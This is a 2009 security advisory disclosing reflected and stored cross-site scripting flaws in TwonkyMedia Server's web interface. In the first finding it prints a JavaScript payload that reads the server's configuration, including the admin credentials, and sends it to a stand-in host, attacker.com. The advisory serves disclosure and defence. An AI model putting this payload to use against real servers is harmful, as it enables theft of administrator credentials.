-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =========================================================================== Title: TwonkyMedia Server Multiple Cross-Site Scripting Vulnerabilities Product: TwonkyMedia Server Vendor: TwonkyMedia (PacketVideo Corporation), http://www.twonkymedia.com Author: Davide Canali E-mail: davide (at) davidecanali (dot) com Date: 2009-10-21 =========================================================================== 1. BACKGROUND: TwonkyMedia Server is a DLNA-compliant, UPnP AV-compliant software that allows to share and stream media to hundreds of popular consumer electronics devices. It is available for Windows, Linux, Macintosh and for various different architectures. TwonkyMedia Server is bundled on a variety of CE and NAS devices from leading manufacturers, including: Buffalo LinkStation, HP Media Vault, LaCie Ethernet Disk, Philips Streamium music players, Western Digital Share Space. 2. DESCRIPTION: TwonkyMedia Server contains multiple Cross-Site Scripting (XSS) vulnerabilities. The TwonkyMedia web server fails to adequately sanitize user input (HTTP request strings and form input); thus, an attacker may be able to execute arbitrary script code in a victim's browser. 3. DETAILS Two main vulnerabilities have been found. The TwonkyMedia server IP address, in the following, is just denoted as "twonky". 1st VULNERABILITY: ================== A HTTP GET request at http://twonky:9000/NON-EXISTENT-PAGE results in a 404 error page containing: 404 Not Found

Not Found

/NON-EXISTENT-PAGE was not found on this server. Thus, an attacker could induce the server administrator (victim) in clicking on a specially crafted link, pointing to: http://twonky:9000/fake_config_page Clicking this link, the victim loads and executes the attacker's script. An example of this script can be: xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState==4) { document.location="http://attacker.com/get.php?data="+escape(xmlhttp.responseText); } } xmlhttp.open("GET","/rpc/get_all",true); xmlhttp.send(null); This script allows the attacker to read all the server configuration variables, including the administrator's username and password. (The victim, if not already logged on the twonky media server configuration panel, is asked for username and password) 2nd VULNERABILITY: ================== Form inputs are not well validated, so an attacker can even run a Stored Cross-Site Scripting. Most of the pages of the management interface are vulnerable. As an example, writing the following string in one of the "Content Locations" fields in the "Sharing" setup page results in a Stored XSS, which can be exploited by a malicious user every time the victim visits the config page, once infected: Directory" />